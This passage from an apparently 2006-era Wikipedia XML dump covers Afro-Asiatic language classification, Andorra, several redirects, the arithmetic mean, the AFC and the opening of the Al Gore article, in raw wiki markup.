There is little agreement on the subclassification of the five or six branches mentioned; however, [[Christopher Ehret]] (1979), [[Harold Fleming]] (1981), and [[Joseph Greenberg]] (1981) all agree that Omotic was the first branch to split from the rest. Otherwise, 
*Ehret groups Egyptian, Berber, and Semitic together in a North Afro-Asiatic subgroup; 
*[[Paul Newman (professor)|Paul Newman]] (1980) groups Berber with Chadic and Egyptian with Semitic, while questioning the inclusion of Omotic; 
*Fleming (1981) divided non-Omotic Afroasiatic, or &quot;Erythraean&quot;, into three groups, Cushitic, Semitic, and Chadic-Berber-Egyptian; he later added Semitic and Beja to the latter, and proposed [[Ongota language|Ongotá]] as a tentative new third branch of Erythraean;  
*[[Lionel Bender]] (1997) advocates a &quot;Macro-Cushitic&quot; consisting of Berber, Cushitic, and Semitic, while regarding Chadic and Omotic as the most remote branches;
*[[Vladimir Orel]] and [[Olga Stolbova]] (1995) group Berber with Semitic, Chadic with Egyptian, and split Cushitic into five or more independent branches of Afro-Asiatic, seeing Cushitic as a [[Sprachbund]] rather than a valid family;
*[[Alexander Militarev]] (2000), on the basis of [[lexicostatistics]], groups Berber with Chadic and both, more distantly, with Semitic, as against Cushitic and Omotic.

==See also==
* [[African languages]]

==Etymological bibliography==
Some of the main sources for Afro-Asiatic etymologies include:
* Marcel Cohen, ''Essai comparatif sur la vocabulaire et la phonétique du chamito-sémitique'', Champion, Paris 1947.
* Igor M. Diakonoff et al., &quot;Historical-Comparative Vocabulary of Afrasian&quot;, ''St. Petersburg Journal of African Studies'' Nos. 2-6, 1993-7.
* Christopher Ehret. ''Reconstructing Proto-Afroasiatic (Proto-Afrasian): Vowels, Tone, Consonants, and Vocabulary'' (''University of California Publications in Linguistics 126''), California, Berkeley 1996.
* Vladimir E. Orel and Olga V. Stolbova, ''Hamito-Semitic [[Etymological Dictionary]]: Materials for a Reconstruction'', Brill, Leiden 1995.  ISBN 9004100512. [http://www.ilx.nl/blonline/blonlinesearch2.php?ficheid=101010209591]

==Sources==
* Bernd Heine and Derek Nurse, ''African Languages,'' Cambridge University Press, 2000 - Chapter 4
* Merritt Ruhlen, ''A Guide to the World's Languages'', Stanford University Press, Stanford 1991.
* Lionel Bender et al., ''Selected Comparative-Historical Afro-Asiatic Studies in Memory of Igor M. Diakonoff'', LINCOM 2003.
* [http://www.ethnologue.com/show_family.asp?subid=89997 Ethnologue]
* Russell G. Schuh, ''[http://www.linguistics.ucla.edu/people/schuh/Papers/Chadic_overview.pdf Chadic Overview]''.
* [http://homepage.ntlworld.com/roger_blench/Archaeology%20data/Africa%20language%20history%20text.pdf African Language History] (pdf), [[Roger Blench]]

==External links==
* [http://www.tufs.ac.jp/ts/personal/ratcliffe/comp%20&amp;%20method-Ratcliffe.pdf A comparison of Orel-Stolbova's and Ehret's Afro-Asiatic reconstructions]
*[http://www.sciencemag.org/cgi/content/full/306/5702/1680c The Origins of Afroasiatic] by Paul Newman (Requires Science Magazine subscription)

[[Category:Afro-Asiatic languages| ]]

[[af:Afro-Asiaties]]
[[ar:أفروآسيوية]]
[[bg:Афро-азиатски езици]]
[[bs:Afroazijski jezici]]
[[ca:Llengües afroasiàtiques]]
[[de:Afroasiatische Sprachen]]
[[es:Lenguas afroasiáticas]]
[[eo:Afrikazia lingvaro]]
[[eu:Hizkuntza Afroasiatikoak]]
[[fr:Langues afro-asiatiques]]
[[ko:아프리카아시아어족]]
[[id:Bahasa Afro-Asia]]
[[ia:Linguas afro-asiatic]]
[[he:שפות אפרו-אסיאתיות]]
[[lt:Semitų-chamitų kalbos]]
[[hu:Afroázsiai nyelvcsalád]]
[[nl:Afro-Aziatische talen]]
[[ja:アフロ・アジア語族]]
[[nn:Afroasiatiske språk]]
[[pt:Línguas afro-asiáticas]]
[[sl:Afroazijski jeziki]]
[[fi:Afroaasialaiset kielet]]
[[sv:Afroasiatiska språk]]
[[ta:ஆபிரிக்க-ஆசிய மொழிகள்]]
[[zh:闪含语系]]</text>
    </revision>
  </page>
  <page>
    <title>Andorra</title>
    <id>600</id>
    <revision>
      <id>41907777</id>
      <timestamp>2006-03-02T15:08:32Z</timestamp>
      <contributor>
        <ip>217.10.60.85</ip>
      </contributor>
      <comment>revert vandalism</comment>
      <text xml:space="preserve">{{For|the 1961 play by Max Frisch|Andorra (play)}}
{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;&lt;big&gt;'''Principat d'Andorra'''&lt;br&gt;&lt;/font&gt;
|-
| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=&quot;2&quot; |
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|-
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Flag of Andorra.svg|125px|Flag of Andorra]]
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Andorra_coa.png|Andorra's Coat of Arms]]
|-
| align=&quot;center&quot; width=&quot;140px&quot; | ([[Flag of Andorra|Flag]])
| align=&quot;center&quot; width=&quot;140px&quot; | ([[Coat of Arms of Andorra|Coat of Arms]])
|}
|-
| align=&quot;center&quot; colspan=2 | &lt;small&gt;''National [[motto]]: Virtus Unita Fortior&lt;br/&gt;([[Latin]]: Virtue united is stronger)''&lt;/small&gt;
|-
| align=&quot;center&quot; colspan=2 | [[image:LocationAndorra.png]]
|-
| '''[[Official language]]''': || [[Catalan language|Catalan]]
|-
| '''[[Capital]]''':&lt;br&gt;&amp;nbsp;- Population:&lt;br&gt;&amp;nbsp;- [[Coordinates]]: || [[Andorra la Vella]]&lt;br&gt;22,035 &lt;small&gt;(1990 est.)&lt;/small&gt;&lt;br&gt;{{coor dm|42|30|N|1|31|E|type:country}} 
|-
| '''[[List of Co-Princes of Andorra|French Co-Prince]]''':
| [[Jacques Chirac]]
|-
| '''[[List of Co-Princes of Andorra|Episcopal Co-Prince]]''':  
| [[Joan Enric Vives Sicília]]
|-
| '''[[Head of Government]]''': || [[Albert Pintat]]
|-
| '''[[Area]]''':&lt;br/&gt;&amp;nbsp;- Total: &lt;br/&gt;&amp;nbsp;- % water:
| [[List of countries by area|Ranked 178th]] &lt;br/&gt; [[1 E8 m²|468 km&amp;sup2;]] &lt;br/&gt; Negligible  
|-
| '''[[Population]]''':&lt;br&gt;&amp;nbsp;- Total (2003)&lt;br&gt;&amp;nbsp;- [[Population density|Density]]:
| [[List of countries by population|Ranked 182nd]]&lt;br&gt; 69,150&lt;br&gt; 144.5/km&amp;sup2; 
|-
| '''[[Independence]]''': || 1278
|-
| '''[[National Day]]''': || [[8 September]]
|- valign=top
| '''[[Religion]]s''': || [[Roman Catholic]] (established religion)
|-
| '''[[Human Development Index|HDI]]''' (2003) || [[List of countries by Human Development Index|NA]] – &lt;font color=gray&gt;unranked&lt;/font&gt; 
|-
| '''[[Currency]]''': || [[Euro|Euro &lt;small&gt;(&amp;euro;)&lt;/small&gt;]]'''&amp;sup1;'''  = 100 [[cents]]
|-
| '''[[Time zone]]''' &lt;br&gt;&amp;nbsp;- in [[European Summer Time|summer]]
| [[Central European Time|CET]] ([[Coordinated Universal Time|UTC]]+1)&lt;br&gt;[[Central European Summer Time|CEST]] ([[Coordinated Universal Time|UTC]]+2)
|- valign=top
| '''[[National anthem]]''': || ''[[El Gran Carlemany|El Gran Carlemany, Mon Pare]]''
|-
| '''[[Top-level domain|Internet TLD]]''': || [[.ad]]
|-
| '''[[List_of_country_calling_codes|Calling Code]]''':
| +376
|-
| colspan=&quot;2&quot; align=&quot;center&quot; | &lt;small&gt;&lt;sup&gt;1&lt;/sup&gt; Prior to 1999: French [[franc]] and Spanish [[peseta]]. Some of their own currency, 1 [[Andorran_diner|diner]] of 100 centim was minted after 1982.&lt;/small&gt;
|}
{{Catalan-speaking world|align=right}}
The '''Principality of Andorra''' ([[Catalan language|Catalan]]: ''Principat d'Andorra'', [[French language|French]]: ''Principauté d'Andorre'', [[Spanish language|Spanish]]: ''Principado de Andorra'') is a small, [[landlocked country|landlocked]] [[principality]] in south-western [[Europe]], located in the eastern [[Pyrenees]] mountains and bordered by [[France]] and [[Spain]]. Once isolated, it is currently a prosperous country mainly because of [[tourism]] and its status as a [[tax haven]].  Andorra is not to be confused with the [[Andora|Comune di Andora]].

== Origin and history of the name ==

The name &quot;Andorra&quot; probably originates from a [[Navarre|Navarrese]] word ''andurrial'', which translates as ''shrub-covered land''.

== History ==
{{main|History of Andorra}}

Tradition holds that [[Charlemagne]] granted a charter to the Andorran people in return for their fighting the [[Moors]]. Overlordship of the territory passed to the local [[count of Urgell]] and eventually to the [[bishop]] of the [[diocese]] of Urgell. In the [[11th century]] a dispute arose between the bishop and his northern French neighbour over Andorra.

In 1278, the conflict was resolved by the signing of a [[parage]], which provided that Andorra's sovereignty be shared between the French [[count of Foix]] (whose title would ultimately transfer to the French head of state) and the bishop of [[La Seu d'Urgell]], in  [[Catalonia]]. This gave the small [[principality]] its territory and political form.

Over the years the title passed to the kings of [[Navarre]].  After Henry of Navarre became King [[Henry IV of France|Henry IV]] of France, he issued an edict (1607) that established the head of the French state and the Bishop of Urgell as co-princes of Andorra.

In the period 1812–13, the French Empire annexed Catalonia and divided it in four departments. Andorra was also annexed and made part of the district of Puigcerdà (département of Sègre).

In 1933 France occupied Andorra as a result of social unrest before elections. On [[July 12]], [[1934]], an adventurer named [[Boris Skossyreff]] issued a proclamation in Urgel, declaring himself Boris I, sovereign prince of Andorra, simultaneously declaring war on the bishop of Urgel. He was arrested by Spanish authorities on [[July 20]] and ultimately expelled from Spain. From 1936 to 1940, a French detachment was garrisoned in Andorra to prevent influences of the [[Spanish Civil War]] and Franco's Spain.
The Franco troops reached the Andorran border in the later stages of the war.

During the [[Second World War]], Andorra remained neutral and was an important smuggling route between [[Vichy France]] and Spain.

In 1958 Andorra declared peace with [[Germany]], having been forgotten on the [[Treaty of Versailles]] that ended the [[First World War]] and remaining legally at war.

Given its relative isolation, Andorra has existed outside the mainstream of European history, with few ties to countries other than France and Spain. In recent times, however, its thriving [[tourism|tourist]] industry along with developments in transportation and communications have removed the country from its isolation and its political system was thoroughly modernized in 1993, the year in which it finally became a member of the United Nations.

== Politics ==
{{main articles|[[Politics of Andorra]] and [[Constitution of Andorra]]}}
{{seealso|List of Co-Princes of Andorra}}

Until very recently, Andorra's political system had no clear division of powers into [[Executive (government)|executive]], [[legislative]], and [[judicial]] branches. Ratified and approved in 1993, the [[Constitution of Andorra|constitution]] establishes Andorra as a sovereign parliamentary democracy that retains the co-princes as [[head of state|heads of state]], but the [[head of government]] retains executive power. The two co-princes serve coequally with limited powers that do not include veto over government acts. They are represented in Andorra by a delegate.

The way in which the two [[prince]]s are chosen makes Andorra one of the most politically distinct nations on earth. One co-Prince is the man or woman who is currently serving as [[President of France]], currently [[Jacques Chirac]] (it has historically been any Head of State of France, including Kings and Emperors of France). The other is the current [[Catholic]] [[bishop]] of the [[Catalan]] city of [[La Seu d'Urgell]], currently [[Joan Enric Vives i Sicilia]]. As neither prince lives in Andorra their role is almost entirely ceremonial.

Andorra's main legislative body is the [[unicameral]] [[General Council of the Valleys]] (''Consell General de les Valls''), a [[parliament]] of 28 seats; members are elected by direct popular vote, 14 from a single national constituency and 14 to represent each of the 7 parishes, with members serving four-year terms. The Andorran government is formed by the General Council electing the [[Head of Government]] (''Cap de Govern''), who then appoints ministers to the [[cabinet (government)|cabinet]], the Executive Council (''Govern''). Currently, government is held by the [[Liberal Party of Andorra]], with [[Albert Pintat]] as [[Prime Minister]]. The [[Social Democratic Party (Andorra)|Social Democratic Party]] is in opposition.

Defense of the country is the responsibility of [[France]] and [[Spain]].

== Administrative divisions ==
[[Image:Andorra.geohive.gif|thumb|right|300px|Map of Andorra.]]
{{main|Parishes of Andorra}}

Andorra consists of seven communities, known as ''parròquies'' (singular ''parròquia'' ''[[English Language|Engl.]]:'' parish)
*[[Andorra la Vella]]
*[[Canillo]]
*[[Encamp]]
*[[Escaldes-Engordany]]
*[[La Massana]]
*[[Ordino]]
*[[Sant Julià de Lòria]]

== Geography ==
{{main|Geography of Andorra}}

Befitting its location in the eastern [[Pyrenees]] mountain range, Andorra consists predominantly of rugged mountains of an average height of 1,996 m with the highest being the [[Coma Pedrosa]] at 2,946 m. These are dissected by three narrow valleys in a Y shape that combine into one as the main stream, the [[Valira]] river, leaves the country for Spain (at Andorra's lowest point of 870 m).

Andorra's [[climate]] is similar to its neighbours' [[temperate climate]], but its higher altitude means there is on average more snow in winter and it is slightly cooler in summer.

== Economy ==
{{main|Economy of Andorra}}

[[Image:AndorraLaVella.jpg|left|190px|Andorra La Vella]]
[[Tourism]], the mainstay of Andorra's tiny, well-to-do economy, accounts for roughly 80% of [[Gross Domestic Product|GDP]]. An estimated 9 million tourists visit annually, attracted by Andorra's duty-free status and by its summer and winter [[resort]]s. Andorra's comparative advantage has recently eroded as the economies of adjoining [[France]] and [[Spain]] have been opened up, providing broader availability of goods and lower [[tariff]]s.

The [[banking]] sector, with its [[tax haven]] status, also contributes substantially to the economy. [[Agriculture|Agricultural]] production is limited&amp;mdash;only 2% of the land is arable&amp;mdash;and most [[food]] has to be [[import]]ed. The principal livestock activity is [[domestic sheep]] raising. [[Manufacturing]] output consists mainly of cigarettes, cigars, and furniture.

Andorra is not a full member of the [[European Union]], but enjoys a special relationship with it, such as being treated as an EU member for trade in manufactured goods (no tariffs) and as a non-EU member for agricultural products. Andorra lacks a [[currency]] of its own and uses that of its two surrounding nations. Prior to 1999 these were the [[French franc]] and the Spanish [[peseta]], which have since been replaced by a single currency, the [[euro]]. Unlike other small European states that use the euro, Andorra does not yet mint its own [[euro coins]]; in October 2004, negotiations between Andorra and the [[European Union|EU]] began on an agreement which would allow Andorra to mint its own coins. Andorra’s [[natural resource]]s include [[hydropower]], [[mineral water]], [[timber]], [[iron ore]], and [[lead]].

== Demographics ==
{{main|Demographics of Andorra}}
{{seealso|List of Andorrans}}

Andorrans constitute a minority in their own country; only 33% of inhabitants hold Andorran nationality. The largest group of foreign nationals is that of [[Spain|Spaniards]] (43%), with [[Portugal|Portuguese]] (11%) and [[France|French]] (7%) nationals the other main groups. The remaining 6% belong to several other nationalities.

The only official language is [[Catalan language|Catalan]], the language of the nearby Spanish [[Autonomous communities of Spain|autonomous region]] of [[Catalonia]], with which Andorra shares many cultural traits, though [[Spanish language|Spanish]], [[Portuguese Language|Portuguese]] and [[French language|French]] are also commonly spoken. The predominant religion is [[Roman Catholic Church|Roman Catholicism]].

== Culture ==
{{main|Culture of Andorra}}
{{seealso|Music of Andorra}}

Andorra's long [[history]] has provided it with a rich [[mythology]] and an abundance of [[Fable|folk tales]], with roots originating in as far as [[Andalusia]] in the south and [[Netherlands]] in the north.

== Miscellaneous topics ==
* [[Communications in Andorra]]
* [[Civil unions in Andorra]]
* [[Foreign relations of Andorra]]
* [[Postal services in Andorra]]
* [[Tourism in Andorra]]
* [[Transportation in Andorra]]

== See also ==
*[[List of sovereign states]]

== External links ==
{{sisterlinks|Andorra}}
* [http://www.andorra.ad/ang/home/index.htm Andorra.ad] - Main portal
* [http://www.andorra-intern.com/index_en.htm Andorra-Intern] - Andorra Inside Information
* [http://www.andorraonline.ad/index.asp?newlang=english Andorra Online] - Information on various Andorran topics
* [http://www.andorramania.co.uk Andorra Mania] - Information on various Andorran topics
* [http://www.cia.gov/cia/publications/factbook/geos/an.html CIA - The World Factbook -- Andorra] - [[CIA]]'s Factbook on Andorra
* [http://based.in/?Andorra Financial institutions in Andorra]
* [http://www.govern.ad/ Govern d'Andorra] - Official governmental site (in Catalan)
* [http://www.loc.gov/rr/international/hispanic/andorra/andorra.html Library of Congress Portals on the World - Andorra]

{{Europe}}
[[Category:Andorra|*]]

[[af:Andorra]]
[[ar:أندورا]]
[[an:Andorra]]
[[ast:Andorra]]
[[bg:Андора]]
[[zh-min-nan:Andorra]]
[[be:Андора]]
[[bn:এন্ডোরা]]
[[bs:Andora]]
[[ca:Andorra]]
[[cs:Andorra]]
[[cy:Andorra]]
[[da:Andorra]]
[[de:Andorra]]
[[et:Andorra]]
[[el:Ανδόρα]]
[[es:Andorra]]
[[eo:Andoro]]
[[eu:Andorra]]
[[fr:Andorre]]
[[fy:Andorra]]
[[fur:Andorra]]
[[ga:Andóra]]
[[gl:Andorra]]
[[ko:안도라]]
[[hi:अन्डोरा]]
[[hr:Andora]]
[[io:Andora]]
[[id:Andorra]]
[[ia:Andorra]]
[[is:Andorra]]
[[it:Andorra]]
[[he:אנדורה]]
[[jv:Andorra]]
[[ka:ანდორა]]
[[kw:Andorra]]
[[ku:Andorra]]
[[la:Andorra]]
[[lv:Andora]]
[[lt:Andora]]
[[lb:Andorra]]
[[li:Andorra]]
[[hu:Andorra]]
[[mk:Андора]]
[[ms:Andorra]]
[[na:Andorra]]
[[nl:Andorra]]
[[nds:Andorra]]
[[ja:アンドラ]]
[[no:Andorra]]
[[nn:Andorra]]
[[oc:Andòrra]]
[[ps:انډورا]]
[[pl:Andora]]
[[pt:Andorra]]
[[ro:Andorra]]
[[ru:Андорра]]
[[se:Andorra]]
[[sa:अंडोरा]]
[[sq:Andora]]
[[scn:Andorra]]
[[simple:Andorra]]
[[sk:Andorra]]
[[sl:Andora]]
[[sr:Андора]]
[[fi:Andorra]]
[[sv:Andorra]]
[[tl:Andorra]]
[[th:ประเทศอันดอร์รา]]
[[tr:Andorra]]
[[udm:Андорра]]
[[uk:Андорра]]
[[war:Andorra]]
[[zh:安道尔]]
[[fiu-vro:Andorra]]</text>
    </revision>
  </page>
  <page>
    <title>Andorra/History</title>
    <id>601</id>
    <revision>
      <id>15899132</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <minor />
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Andorra]]</text>
    </revision>
  </page>
  <page>
    <title>Andorra/Geography</title>
    <id>602</id>
    <revision>
      <id>15899133</id>
      <timestamp>2002-06-13T21:19:04Z</timestamp>
      <contributor>
        <username>Karen Johnson</username>
        <id>1300</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Geography of Andorra]]</text>
    </revision>
  </page>
  <page>
    <title>Andorra/People</title>
    <id>603</id>
    <revision>
      <id>15899134</id>
      <timestamp>2002-08-20T15:34:41Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Demographics of Andorra]]</text>
    </revision>
  </page>
  <page>
    <title>Andorra/Government</title>
    <id>604</id>
    <revision>
      <id>15899135</id>
      <timestamp>2002-08-04T11:16:40Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Politics of Andorra</comment>
      <text xml:space="preserve">#REDIRECT [[Politics of Andorra]]</text>
    </revision>
  </page>
  <page>
    <title>Andorra/Economy</title>
    <id>605</id>
    <revision>
      <id>15899136</id>
      <timestamp>2002-08-04T11:19:13Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Economy of Andorra</comment>
      <text xml:space="preserve">#REDIRECT [[Economy of Andorra]]</text>
    </revision>
  </page>
  <page>
    <title>Andorra/Military</title>
    <id>606</id>
    <revision>
      <id>15899137</id>
      <timestamp>2003-05-25T18:56:00Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[Andorra]]</text>
    </revision>
  </page>
  <page>
    <title>Andorra/Communications</title>
    <id>607</id>
    <revision>
      <id>15899138</id>
      <timestamp>2002-08-04T11:19:57Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Communications in Adorra</comment>
      <text xml:space="preserve">#REDIRECT [[Communications in Andorra]]</text>
    </revision>
  </page>
  <page>
    <title>Andorra/Transportation</title>
    <id>608</id>
    <revision>
      <id>15899139</id>
      <timestamp>2002-08-04T11:20:42Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Transportation in Andorra</comment>
      <text xml:space="preserve">#REDIRECT [[Transportation in Andorra]]</text>
    </revision>
  </page>
  <page>
    <title>Andorra/Transnational issues</title>
    <id>609</id>
    <revision>
      <id>15899140</id>
      <timestamp>2002-08-04T11:24:45Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Foreign relations of Andorra</comment>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of Andorra]]</text>
    </revision>
  </page>
  <page>
    <title>Andorra/Foreign Relations</title>
    <id>610</id>
    <revision>
      <id>15899141</id>
      <timestamp>2002-10-09T13:48:41Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Foreign relations of Andorra]]</comment>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of Andorra]]</text>
    </revision>
  </page>
  <page>
    <title>Andorra/Foreign relations</title>
    <id>611</id>
    <revision>
      <id>15899142</id>
      <timestamp>2002-08-04T11:22:05Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>move to Foreign relations of Andorra</comment>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of Andorra]]</text>
    </revision>
  </page>
  <page>
    <title>Arithmetic mean</title>
    <id>612</id>
    <revision>
      <id>39274572</id>
      <timestamp>2006-02-12T00:51:46Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <text xml:space="preserve">In [[mathematics]] and [[statistics]], the '''arithmetic [[mean]]''' of a set of numbers is the sum of all the members of the set divided by the number of items in the set (cardinality). (The word ''set'' is used perhaps somewhat loosely; for example, the number 3.8 could occur more than once in such a &quot;set&quot;.) If one particular number occurs more times than others in the set, it is called a mode. The arithmetic mean is what pupils are taught very early to call the &quot;[[average]].&quot; If the set is a [[statistical population]], then we speak of the '''population mean'''. If the set is a [[sampling (statistics)|statistical sample]], we call the resulting [[statistic]] a '''sample mean'''.

When the mean is not an accurate estimate of the median, the set of numbers, or [[frequency distribution]], is said to be [[skewness|skewed]].

The symbol &amp;mu; (Greek: mu) is used to denote the arithmetic mean of a population.

If we denote a set of data by ''X'' = { ''x''&lt;sub&gt;1&lt;/sub&gt;, ''x''&lt;sub&gt;2&lt;/sub&gt;, ..., ''x''&lt;sub&gt;''n''&lt;/sub&gt;}, then the sample mean is typically denoted with a horizontal bar over the variable (''x̅'', generally enunciated &quot;''x'' bar&quot;).

In practice, the difference between &amp;mu; and ''x̅'' is that &amp;mu; is typically unobservable because one observes only a sample rather than the whole population, and if the sample is drawn randomly, then one may treat ''x̅'', but not &amp;mu;, as a [[random variable]], attributing a [[probability distribution]] to it.

Both are computed in the same way:

:&lt;math&gt;\mathrm{mean} = \bar{x} = (x_1+\cdots+x_n)/n.&lt;/math&gt;

The arithmetic mean is greatly influenced by [[outlier]]s. For instance, reporting the &quot;average&quot; [[net worth]] in [[Redmond, Washington]] as the arithmetic mean of all annual net worths would yield a surprisingly high number because of [[Bill Gates]]. These distortions occur when the mean is different from the median, and the median is a superior alternative when that happens.

In certain situations, the arithmetic mean is the wrong concept of &quot;average&quot; altogether. For example, if a stock rose 10% in the first year, 30% in the second year and fell 10% in the third year, then it would be incorrect to report its &quot;average&quot; increase per year over this three year period as the arithmetic mean (10% + 30% + (&amp;minus;10%))/3 = 10%; the correct average in this case is the [[geometric mean]] which yields an average increase per year of only 8.8%.

If ''X'' is a [[random variable]], then the [[expected value]] of ''X'' can be seen as the long-term arithmetic mean that occurs on repeated measurements of ''X''. This is the content of the [[law of large numbers]]. As a result, the sample mean is used to estimate unknown expected values.

Note that several other &quot;means&quot; have been defined, including the [[generalized mean]], the [[generalised f-mean|generalized f-mean]], the [[harmonic mean]], the [[arithmetic-geometric mean]], and the [[weighted mean]].

==Alternate notations==
The arithmetic mean may also be expressed using the sum notation:

:&lt;math&gt;\bar{x} = \frac1n\sum_{i=1}^n x_i.&lt;/math&gt;

==See also==
[[mean]], [[average]], [[summary statistics]], [[variance]], [[central tendency]], [[standard deviation]], [[inequality of arithmetic and geometric means]], [[Muirhead's inequality]]

==External links==
*[http://www.sengpielaudio.com/calculator-geommean.htm Calculations and comparisons between arithmetic and geometric mean between two numbers]
*[http://www.cut-the-knot.org/Generalization/means.shtml Arithmetic and geometric means] - [[cut-the-knot]]

[[Category:Statistics]]
[[Category:Means]]

&lt;!-- interwiki --&gt;

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[[zh:算术平均数]]</text>
    </revision>
  </page>
  <page>
    <title>American Football Conference</title>
    <id>615</id>
    <revision>
      <id>39772694</id>
      <timestamp>2006-02-15T19:57:26Z</timestamp>
      <contributor>
        <username>Zzyzx11</username>
        <id>182902</id>
      </contributor>
      <comment>briefly mention the NFC</comment>
      <text xml:space="preserve">[[Image:AmericanFootballConference.png|right|American Football Conference]]
The '''American Football Conference''' ('''AFC''') is one of the two conferences of the [[National Football League]] (NFL). The AFC was created after the league [[AFL-NFL Merger|merged]] with the [[American Football League]] (AFL) in early 1970. The NFL's [[Cleveland Browns]], [[Pittsburgh Steelers]], and the then-[[Indianapolis Colts|Baltimore Colts]] agreed to join the new AFC along with the 10 former AFL teams. All of the other NFL teams formed the [[National Football Conference]] (NFC). Initially, this alignment proved to be very unpopular with fans in these cities.

The AFC logo, shown to the right, is a variation of the old AFL logo [http://en.wikipedia.org/wiki/Image:AmericanFootballLeague.jpg as seen here]. Introduced in 1970 alongside the beginning of the new AFC, the logo has basically remained unchanged since its introduction, though the &quot;A&quot; wasn't as bold when it was first introduced.

The AFC currently consists of 16 teams, organized into four divisions (North, South, East, and West) of four teams each. Each team plays the other teams in their division twice (home and away) during the regular season in addition to 10 other games/teams assigned to their schedule by the NFL the previous May.  Two of these games are assigned on the basis of the team's final record in the previous season.  The remaining 8 games are split between the roster of two other NFL divisions.  This assignment shifts each year.  For instance, in the [[2006 NFL season|2006 regular season]], each team in the [[AFC East]] will play a game apiece against each team in both the [[AFC South]] and the [[NFC North]].  In this way division competition consists of common opponents, with the exception of the 2 games assigned on the strength of each team's prior season record. The NFC operates according to the same system.

At the end of each football [[season (sport)|season]], there are [[NFL playoffs|playoff]] games involving the top six teams in the AFC (the four division champions by place standing and the top two remaining non-division-champion teams (&quot;[[Wild card (sports)|wild cards]]&quot;) by record). The last two teams remaining play in the [[AFC Championship Game|AFC Championship game]] with the winner receiving the [[Lamar Hunt]] Trophy. The AFC champion plays the [[National Football Conference|NFC]] champion in the [[Super Bowl]].

{{NFL}}


[[Category:National Football League]]

[[da:American Football Conference]]
[[fr:American Football Conference]]</text>
    </revision>
  </page>
  <page>
    <title>Applied Mathematics</title>
    <id>616</id>
    <revision>
      <id>15899145</id>
      <timestamp>2002-05-05T14:35:26Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[applied mathematics]]</comment>
      <text xml:space="preserve">#redirect [[applied mathematics]]
 </text>
    </revision>
  </page>
  <page>
    <title>Albert Arnold Gore</title>
    <id>617</id>
    <revision>
      <id>35530264</id>
      <timestamp>2006-01-17T11:55:38Z</timestamp>
      <contributor>
        <username>Korg</username>
        <id>263660</id>
      </contributor>
      <minor />
      <comment>{{hndis}}</comment>
      <text xml:space="preserve">There have been two [[United States]] [[politician]]s named '''Albert Arnold Gore'''.

* The father, [[Albert Gore, Sr.]], was a Senator from Tennessee from 1953 to 1971.
* The son, [[Albert Gore, Jr.]] (often called simply &quot;Al Gore&quot;) was both a Representative and a Senator from Tennessee, and was both a U.S. Vice President and a presidential candidate.

{{hndis}}</text>
    </revision>
  </page>
  <page>
    <title>AnEnquiryConcerningHumanUnderstanding</title>
    <id>618</id>
    <revision>
      <id>15899147</id>
      <timestamp>2002-08-31T19:45:59Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>removed old article from below the redirect - it's already been moved over</comment>
      <text xml:space="preserve">#REDIRECT [[An Enquiry Concerning Human Understanding]]</text>
    </revision>
  </page>
  <page>
    <title>Al Gore</title>
    <id>619</id>
    <revision>
      <id>42075724</id>
      <timestamp>2006-03-03T17:33:26Z</timestamp>
      <contributor>
        <ip>64.8.10.9</ip>
      </contributor>
      <text xml:space="preserve">:''This article is about the former United States Vice President.  For his father, see [[Albert Gore, Sr.|Albert Gore, Sr.]]''
{| class=&quot;toccolours&quot; style=&quot;float: right; margin: 0 0 1em 1em; text-align:left; clear:right&quot;
|+ style=&quot;margin-left: inherit; font-size: larger;&quot; | '''Albert Arnold Gore, Jr.'''
|-
| align=&quot;center&quot; colspan=2 | [[Image:AlGorerecent.jpg|200px|none|Al Gore]]
|-
! Order:
| 45th Vice President
|-
! Term of Office:
| [[January 20]], [[1993]] to [[January 20]], [[2001]]
|-
! Preceded by:
| [[Dan Quayle]]
|-
! Succeeded by:
| [[Dick Cheney]]
|-
! Date of Birth
| [[March 31]], [[1948]]
|-
! Place of Birth:
| [[Washington, D.C.]]
|-
! [[Wife]]:
| [[Tipper Gore|Mary Elizabeth &quot;Tipper&quot; Gore]]
|-
! [[Profession]]:
| [[Journalist]], [[Businessman]]
|-
! [[Political party|Political Party]]:
| [[Democratic Party (United States)|Democrat]]
|-
! [[President of the United States|President]]:
| [[Bill Clinton]]
|}
'''Albert Arnold Gore, Jr.''' (born [[March 31]], [[1948]]) is an [[United States|American]] [[politician]] and businessman, who served as the 45th [[Vice President of the United States]] from [[1993]] to [[2001]].  

